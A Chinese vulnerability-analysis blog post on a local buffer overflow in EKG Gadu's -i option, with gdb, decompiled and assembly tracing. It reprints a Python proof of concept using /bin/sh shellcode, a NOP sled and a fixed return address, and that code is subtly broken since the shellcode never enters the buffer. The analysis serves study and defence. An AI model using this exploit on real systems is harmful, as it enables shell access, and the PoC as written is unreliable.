作者:k0shl 转载请说明出处:https://whereisk0shl.top
告诉大家一个坏消息: 今天是10月6号了,假期余额不足........... :P
漏洞说明
EKG Gadu是Linux系统下一个类似于诊断工具的软件,首先我要吐槽一下exploit-db上的exp,用这个exp是无法执行到漏洞函数的,需要增加参数-i才能够执行到漏洞函数,我提交的exp已经进行了修改,这个漏洞主要是-i参数负责处理文件路径时,如果传入超长的畸形文件,则会导致缓冲区溢出。
软件下载:
https://www.exploit-db.com/apps/c752577dfb5ea44513a3fb351d431afa-ekg_1.9~pre+r2855-3+b1_i386.deb
PoC:
import os, subprocess
def run():
try:
print "# EKG Gadu - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack -http://exploitpack.com"
# NOPSLED + SHELLCODE + EIP
buffersize = 240
nopsled = "\x90"*30
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x20\xf1\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["ekg ",'-i', buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, EKG Gadu - Not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit EKG Gadu - Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()
漏洞分析
对这个软件进行分析时,由于原版的安装包安装时总是缺少三个依赖,怎么也装不上,所以用apt-get的方法下载了一个其他版本的ekg,可以进行分析。
首先通过bt来看一下堆栈回溯。
gdb$ run -i `python -c 'print "A"*258'`
0x0807e125 in strlcpy ()
gdb$ backtrace
#0 0x0807e125 in strlcpy ()
#1 0x080570bb in ioctld_socket ()
#2 0x08052e60 in main ()
可以很清晰的看到main函数的内层调用,下面来进行逐步分析,首先是main函数,在main函数中,会对传入的参数进行判断。
while ( 2 )
{
v10 = getopt_long(argc, (char *const *)argv, "b::a::i::F::d::pnc:f:hI:ot:u:vNA", (const struct option *)&v91, 0);
if ( v10 == -1 )
{
in_autoexec = 1;
if ( argc > optind )
{
v43 = optind;
v44 = 0;
do
{
v45 = argv[v43++];
v44 += strlen(v45) + 1;
这里通过getopt的方法,可以看到判断中包含了i,这个i就是要处理ioctlsocket的函数,检查到这个-i参数传递之后。
v28 = prepare_path(".socket", 1);
pid = fork();
if ( !pid )
{
if ( config_ioctld_enable == 1 )
{
execl(v67, "ioctld", v28, 0, &unk_80A0590, v58, v59, v60, v61, v62, v72, v63, v24, v64, v66, &unk_80AEC60);
}
else if ( config_ioctld_enable == 2 )
{
v50 = saprintf(
"%d",
config_ioctld_net_port,
1,
1024,
&unk_80A0590,
v58,
v59,
v60,
v61,
v62,
v72,
v63,
v24,
v64,
v66,
&unk_80AEC60);
if ( execl(v67, "ioctld", v28, v50, 0) == -1 )
xfree(v50);
}
exit(0);
}
ioctld_socket((int)v28);
会进入-i参数的操作流程,最后涉及到ioctld_socket,也就是漏洞函数,这里动态跟踪一下。
Guessed arguments:
arg[0]: 0xbffff582 ('A' <repeats 200 times>...)
arg[1]: 0x809feac ("ioctld")
arg[2]: 0x80abfa0 ("/root/.gg/.socket")
arg[3]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff0d0 --> 0xbffff582 ('A' <repeats 200 times>...)
0004| 0xbffff0d4 --> 0x809feac ("ioctld")
0008| 0xbffff0d8 --> 0x80abfa0 ("/root/.gg/.socket")
0012| 0xbffff0dc --> 0x0
0016| 0xbffff0e0 --> 0x80a0590 ("\r\n\r\n*** Naruszenie ochrony pami\352ci ***\r\n\r\nSpr\363buj\352 zapisa\346 ustawienia, ale nie obiecuj\352, \277e cokolwiek z tego\r\nwyjdzie. Trafi\261 one do plik\363w %s/config.%d\r\noraz %s/userlist.%d\r\n\r\nDo pliku %s/debug.%d za"...)
0020| 0xbffff0e4 --> 0x80bd6a0 ("/root/.gg")
0024| 0xbffff0e8 --> 0x2c11
0028| 0xbffff0ec --> 0x80bd6a0 ("/root/.gg")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053379 in main ()
可以看到畸形字符串直接传递了,接下来跟入这个函数。
.text:08057040 mov [esp+9Ch+addr.sa_family], ax
.text:08057045 lea eax, [esp+9Ch+addr.sa_data]
.text:08057049 mov [esp+9Ch+type], ebx
.text:0805704D lea edi, [esp+9Ch+addr]
.text:08057051 mov ebx, 5
.text:08057056 mov [esp+9Ch+protocol], 6Ch
.text:0805705E mov [esp+9Ch+fd], eax
.text:08057061 call strlcpy
.text:08057066
.text:08057066 loc_8057066: ; CODE XREF: ioctld_socket+B5j
.text:08057066 mov eax, ioctld_sock
.text:0805706B mov [esp+9Ch+protocol], 6Eh ; len
.text:08057073 mov [esp+9Ch+type], edi ; addr
.text:08057077 mov [esp+9Ch+fd], eax ; fd
.text:0805707A call _connect
.text:0805707F cmp eax, 0FFFFFFFFh
在地址08057061位置执行了一次字符串拷贝,这次拷贝的内容就是畸形字符串,在这个过程,没有对拷贝字符串进行长度控制,从而在strlcpy中发生了栈溢出,strlcpy是自定义函数,汇编代码如下。
.text:08081410 public strlcpy
.text:08081410 strlcpy proc near ; CODE XREF: main+BFp
.text:08081410 ; event_format_target+57p ...
.text:08081410
.text:08081410 arg_0 = dword ptr 4
.text:08081410 arg_4 = dword ptr 8
.text:08081410 arg_8 = dword ptr 0Ch
.text:08081410
.text:08081410 push ebp
.text:08081411 push edi
.text:08081412 push esi
.text:08081413 push ebx
.text:08081414 mov ecx, [esp+10h+arg_8]
.text:08081418 mov edi, [esp+10h+arg_4]
.text:0808141C cmp ecx, 1
.text:0808141F jbe short loc_8081476
.text:08081421 movzx ebx, byte ptr [edi]
.text:08081424 test bl, bl
.text:08081426 jz short loc_8081482
.text:08081428 mov esi, [esp+10h+arg_0]
.text:0808142C lea edx, [edi+1]
.text:0808142F jmp short loc_8081447
.text:0808142F ; ---------------------------------------------------------------------------
.text:08081431 align 8
.text:08081438
.text:08081438 loc_8081438: ; CODE XREF: strlcpy+43j
.text:08081438 movzx ebx, byte ptr [edx]
.text:0808143B mov ebp, edx
.text:0808143D add esi, 1
.text:08081440 add edx, 1
.text:08081443 test bl, bl
.text:08081445 jz short loc_8081458
.text:08081447
.text:08081447 loc_8081447: ; CODE XREF: strlcpy+1Fj
.text:08081447 mov eax, edx
.text:08081449 sub ecx, 1
.text:0808144C sub eax, edi
.text:0808144E cmp ecx, 1
.text:08081451 mov [esi], bl
.text:08081453 jnz short loc_8081438
.text:08081455
.text:08081455 loc_8081455: ; CODE XREF: strlcpy+7Aj
.text:08081455 lea ebp, [edi+eax]
.text:08081458
.text:08081458 loc_8081458: ; CODE XREF: strlcpy+35j
.text:08081458 ; strlcpy+76j
.text:08081458 mov esi, [esp+10h+arg_0]
.text:0808145C mov byte ptr [esi+eax], 0
.text:08081460
.text:08081460 loc_8081460: ; CODE XREF: strlcpy+70j
.text:08081460 cmp byte ptr [ebp+0], 0
.text:08081464 jz short loc_8081471
.text:08081466 xchg ax, ax
.text:08081468
.text:08081468 loc_8081468: ; CODE XREF: strlcpy+5Fj
.text:08081468 add eax, 1
.text:0808146B cmp byte ptr [edi+eax], 0
.text:0808146F jnz short loc_8081468
.text:08081471
.text:08081471 loc_8081471: ; CODE XREF: strlcpy+54j
.text:08081471 pop ebx
.text:08081472 pop esi
.text:08081473 pop edi
.text:08081474 pop ebp
.text:08081475 retn